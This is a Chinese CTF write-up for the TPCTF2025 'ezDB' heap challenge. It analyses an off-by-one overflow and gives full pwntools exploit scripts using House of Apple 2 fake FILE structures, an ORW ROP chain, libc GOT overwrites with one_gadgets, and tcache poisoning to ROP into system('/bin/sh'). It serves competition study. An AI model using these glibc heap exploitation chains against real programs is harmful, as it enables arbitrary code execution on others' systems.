从一题出发总结一下高版本堆的几个常见利用(TPCTF2025-ezDB)
题目分析
这道题的洞开得很大,可以实现任意长度的堆溢出,还可以分配大于0x400的堆块,简单看一下漏洞点
程序实现了两个类,变量成员差不多是这样:
table
0x0 size_array_begin (init = *chunk_ptr)
0x8 size_array_end
0x10 table_data_end (init = *chunk_ptr+0x400)
0x18 *chunk_ptr
record
0x0 length
0x8 *ptr = malloc(length)
分析程序逻辑可知:程序实现了将用户输入的record转换为data记录到table上,且在给table分配的chunk中内容是从下往上生长的,而记录data长度的数组是从上往下生长的,在长度判定时程序多出了一字节的检测,导致data可以向上off by one溢出控制他的size,之后就可以向下溢出任意字节了。
官解:house of apple
apple的利用链确实好用,只要一个任意地址写+返回/exit就能够实现,在本题可以通过构造largebin attack或者直接利用题目结构体的特性可以完成:
改table的0x10偏移,下次写的时候直接往_IO_list_all上写
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p = process("./db")
# p = remote("61.147.171.105",52702)
libc = ELF("./libc.so.6")
def create_table(idx):
p.recvuntil(">>> ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
def remove_table(idx):
p.recvuntil(">>> ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def insert_record(idx,len,content):
p.recvuntil(">>> ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Length: ")
p.sendline(str(len))
p.recvuntil("Varchar: ")
p.send(content)
def get_record(idx,slot_id):
p.recvuntil(">>> ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Slot ID: ")
p.sendline(str(slot_id))
def edit_record(idx,slot_id,len,content):
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Slot ID: ")
p.sendline(str(slot_id))
p.recvuntil("Length: ")
p.sendline(str(len))
p.recvuntil("Varchar: ")
p.send(content)
# leak libc first
# 整8个塞 tcache 里面吧
for i in range(9):
create_table(i)
for i in range(203):
insert_record(0,1,"A")
#insert vuln record
insert_record(0,6,b"\x02"*6)
for i in range(8):
remove_table(8-i)
get_record(0,203)
p.recvline()
leaks = p.recv(0x140)
# 0x1d 0x106
heap_leak = u64(leaks[0xf2:0xf2 + 8])
print(hex(heap_leak))
libc_leak = u64(leaks[0x11a:(0x11a + 8)])
print(hex(libc_leak))
heap_base = heap_leak - 0x12320
# 0x7fbd726c7ce0 - 0x7fbd724ad000
libc_base = libc_leak - 0x21ace0
print(hex(heap_base))
print(hex(libc_base))
# 把所有堆块都占住 然后改 page_ 指针
for i in range(8):
create_table(i+1)
# 占一个堆块写 fake IO_file
fake_io_addr = heap_base + 0x12730 +0x430 - 0xf0 # TODO
system_addr=libc_base+libc.sym["system"]
fake_io_file=b" sh;".ljust(0x8,b"\x00")
fake_io_file+=p64(0)*3+p64(1)+p64(2)
fake_io_file=fake_io_file.ljust(0x30,b"\x00")
fake_io_file+=p64(0)
fake_io_file=fake_io_file.ljust(0x68,b"\x00")
fake_io_file+=p64(system_addr)
fake_io_file=fake_io_file.ljust(0x88,b"\x00")
fake_io_file+=p64(libc_base+0x21ca60) # lock
fake_io_file=fake_io_file.ljust(0xa0,b"\x00")
fake_io_file+=p64(fake_io_addr)
fake_io_file=fake_io_file.ljust(0xd8,b"\x00")
fake_io_file+=p64(0x216f40+libc_base) # 使得可以调用 _IO_wfile_overflow
fake_io_file+=p64(fake_io_addr)+p64(0) # 0xf0
# 直接溢出改 page_ 指针
insert_record(1,0xf0,fake_io_file)
payload = b"\x02"*6+b"a"*203 + p64(0)+p64(0x31)+p64(heap_base + 0x12320)*2+p64(libc_base + libc.sym["_IO_list_all"]+0x8)+p64(heap_base + 0x12320)
edit_record(0,203,0x140,payload)
insert_record(8,0x8,p64(fake_io_addr))
# trigger!
p.recvuntil(">>> ")
p.sendline("6")
p.interactive()
分享一种比较优雅的apple写法:
heap = heapBase + 0x12330 #伪造堆块的地址
# House of Apple 2 payload
file = flat({
0: b' sh;\0',
0x28: 1,
0x68: libc.symbols['system'],
0xa0: heap,
0xd8: libc.symbols['_IO_wfile_jumps'],
0xe0: heap,
}, filler=b'\0')
orw:
heap = heapBase + 0x68 + 0x8 * 16 #伪造堆块的地址
flag_offset = heap_base + 0x858 - 0x290
io_list_all = libc.sym['_IO_list_all']
#house of svcudp_reply
magic_gadget = libc.address + 0x16a050
leave_ret = libc.address + 0x4da83
rdx_r12 = libc.address + 0x11f2e7
rop = ...
io_list = flat({
0: (~(2 | 0x8 | 0x800) + (1 << 64)),
0x28: 1, #_IO_write_ptr
0x48: heap + 0xe0, #rdi+0x48 -> rbp
0x68: magic_gadget, #wide_data->wide_vtable+0x68
0xa0: heap,
0xd0: leave_ret, #rax + 0x28
0xd8: libc.symbols['_IO_wfile_jumps'],
0xe0: heap,
0xe8: rdx_r12,
0xf8: heap + 0xa8, #rax
0x100: rop
}, filler=b'\0')
#payload _flag + 0x10
payload = p64(libc.address + 0x21a1f0) * 2
payload += p64(io_list_all) + p64(io_list_all - 0x20) ##io_write_base控制为io_list_all 因为需要大于io_write_ptr不触发overflow
payload = payload.ljust(0x68-0x10,b'\x00')
payload += p64(heap) # chain 第二个伪造的chain -> io_list
payload += p64(0) * 15
payload += io_list #second chain
payload += p64(0) * (62+24+12) # 0x8 * 98
payload += b'./flag\x00\x00'
奇技淫巧1:修改libc的got表
改libc的got表,一次任意地址写+有puts等输出函数
from pwn import *
import struct
#只保留利用流程
for i in range(10):
add(i)
for i in range(9, 1, -1):
delete(i)
payload = p8(0x5).ljust(0x401 - 4, b'a')
insert(1, 0x401-4, payload)
show(1, 0)
ru(p64(0x3d1))
libcbase = uu64() - 0x21ace0
libc.address = libcbase
libc_got = libc.got["malloc"] + 0xa8
#改libc的strlen为onegadget
insert(0, 0x401-4, payload)
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
payload = p8(0x5).ljust(0x401 - 4, b'a') + flat(0, 0x31, libc_got-4, libc_got-4, libc_got+8, libc_got-4)
edit(0, 0, len(payload) ,payload)
lgn("libcbase", libcbase)
lgn("strlen got", libc_got)
debug()
pause()
insert(1, 8, p64(libcbase + oggs[1]))
ia()
奇技淫巧2:ROP
当堆块大小有限制时,libc开了FULL RELRO时,有一种比较苛刻的利用手段,可以改栈地址
这种方法需要一次任意地址读去获得libc上environ的值取得栈地址,还需要一次任意地址写往栈上写ROP
我在此使用了两次tcache poison(后来发现如果用官解改结构体的方法只需要一次),十分繁杂,除非限制很严苛不然不建议使用
#!/usr/bin/env python3
'''
author: Squeasp
time: 2025-03-08 09:04:19
'''
from pwn import *
from time import sleep
filename = "db_patched"
libcname = "./libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
context(arch = 'amd64',log_level = 'debug',os = 'linux')
if libcname:
libc = ELF(libcname)
gs = '''
# b main
b *$rebase(0x1c49)
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
#---------------------------------------------------#
r = lambda x:p.recv(x)
rl = lambda:p.recvline(keepends=True)
til = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
suc = lambda x,y:success(x+" -> "+y)
#---------------------------------------------------#
def db() :
gdb.attach(p)
pause()
def create(index):
sla(b'>>> ',str(1).encode())
sla(b'Index: ',str(index).encode())
def remove(index):
sla(b'>>> ',str(2).encode())
sla(b'Index: ',str(index).encode())
def insert(index,len,varchar):
sla(b'>>> ',str(3).encode())
sla(b'Index: ',str(index).encode())
sla(b'Varchar Length: ',str(len).encode())
sla(b'Varchar: ',varchar)
til(b'Record inserted, slot id: ')
slot_id = int(til(b'\n'))
return slot_id
def get(index,slot_ID):
sla(b'>>> ',str(4).encode())
sla(b'Index: ',str(index).encode())
sla(b'Slot ID: ',str(slot_ID).encode())
def edit(index,slot_ID,len,varchar):
sla(b'>>> ',str(5).encode())
sla(b'Index: ',str(index).encode())
sla(b'Slot ID: ',str(slot_ID).encode())
sla(b'Varchar Length: ',str(len).encode())
sa(b'Varchar: ',varchar)
p = start()
# Your exploit here
create(1)
create(2)
create(3)
create(15)
remove(1)
slot_id1 = insert(2,0x20,b'')
get(2,slot_id1)
#heap
til(b'Varchar: ')
p.recv(0x10)
heap2 = u64(p.recv(6) + b'\x00\x00')
suc('heap',hex(heap2))
heap_key = heap2 >> 12
#libc
for i in range(4,11):
create(i)
for i in range(11,4,-1):
remove(i)
remove(3)
remove(4)
slot_id2 = insert(2,0x3d9,b'')
get(2,slot_id2)
til(b'Varchar: ')
libc.address = u64(p.recv(6) + b'\x00\x00')+0x7d260ae00000-0x7d260b01b00a
suc('libc',hex(libc.address))
print(hex(heap_key))
print(hex(libc.sym.environ))
payload1 = b'\x0a' + b'a' * 0x400 + p64(0x31) + p64((libc.sym.environ-0x10) ^ heap_key)
edit(2,slot_id2,0x411,payload1)
# pause()
# pause()
create(11)
# pause()
edit(2,slot_id2,0x20,b'a'*0x10)
# pause()
get(2,slot_id2)
# pause()
#rop
til(b'Varchar: '+b'a'*0x10)
stack = u64(p.recv(6) + b'\x00\x00')
suc('stack',hex(stack))
payload2 = b'\x0a' + b'b' * 0x400 + p64(0x31) + p64(heap_key ^ ((heap_key<<12)+0xff0)) + p64(0) * 4 + p64(0x411) + p64((stack-0x8-0x120) ^ heap_key)
remove(11)
edit(2,slot_id2,0x441,payload2)
# pause()
edit(2,slot_id1,0x400,b'\n')
rdi = libc.address + 0x00000000002a3e5
ret = rdi + 1
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
ogg = libc.address + 0xebd3f
pl = p64(stack-(0x500-0x480)) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# pause()
edit(2,slot_id2,0x400,pl)
sla(b'>>> ',str(6).encode())
p.interactive()
参考资料
TPCTF 2025 - EzDB | RocketDevlog
GitHub - Rosayxy/EzDB-SourceCode-TPCTF2025: Source code for EzDB challenge at TPCTF 2025